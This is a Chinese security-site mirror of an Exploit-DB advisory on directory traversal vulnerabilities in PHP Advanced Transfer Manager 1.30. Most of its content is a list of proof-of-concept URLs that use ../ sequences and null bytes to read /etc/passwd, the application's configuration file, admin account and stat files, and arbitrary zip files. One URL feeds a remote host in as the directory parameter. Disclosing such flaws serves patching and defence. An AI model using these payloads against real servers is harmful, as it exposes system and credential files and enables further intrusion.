PHP Advanced Transfer Manager 1.30 – Multiple Directory Traversal Vulnerabilities

PHP Advanced Transfer Manager 1.30 – Multiple Directory Traversal Vulnerabilities

漏洞ID 1055393 漏洞类型
发布时间 2005-09-20 更新时间 2005-09-20
图片[1]-PHP Advanced Transfer Manager 1.30 – Multiple Directory Traversal Vulnerabilities-安全小百科CVE编号 N/A
图片[2]-PHP Advanced Transfer Manager 1.30 – Multiple Directory Traversal Vulnerabilities-安全小百科CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/26286
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/14883/info

PHP Advanced Transfer Manager is prone to multiple directory traversal vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Exploitation of any of these vulnerabilities could lead to a loss of confidentiality. Information obtained may aid in further attacks against the underlying system; other attacks are also possible. 

http://www.example.com/phpatm/viewers/txt.php?currentdir=../../../../../../../etc/passwd%00
http://www.example.com/phpatm/viewers/txt.php?currentdir=../../../../../../../etc&filename=passwd
http://www.example.com/phpatm/viewers/htm.php?current_dir=../../../../../../../etc/passwd%00
http://www.example.com/phpatm/viewers/htm.php?current_dir=../../../../../../../etc&filename=passwd
http://www.example.com/phpatm/viewers/html.php?current_dir=../../../../../../../etc/passwd%00
http://www.example.com/phpatm/viewers/html.php?current_dir=../../../../../../../etc&filename=passwd
http://www.example.com/phpatm/viewers/htm.php?current_dir=http://www.asite.com%00
http://www.example.com/phpatm/html.php?current_dir=http:/&filename=www.asite.com
http://www.example.com/phpatm/viewers/zip.php?current_dir=../../../../../../../[filename].zip%00
http://www.example.com/phpatm/viewers/zip.php?current_dir=../../../../../../..&filename=[filename].zip
http://www.example.com/phpatm/viewers/txt.php?current_dir=../include&filename=conf.php
http://www.example.com/phpatmviewers/txt.php?current_dir=../userstat&filename=[admin_name].stat
http://www.example.com/phpatm/viewers/txt.php?current_dir=../users/admin%00
http://www.example.com/phpatm/viewers/txt.php?current_dir=../users/[admin_name]%00

相关推荐: OpenSSH Kerberos Arbitrary Privilege Elevation Vulnerability

OpenSSH Kerberos Arbitrary Privilege Elevation Vulnerability 漏洞ID 1102741 漏洞类型 Unknown 发布时间 2001-11-19 更新时间 2001-11-19 CVE编号 N/A C…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享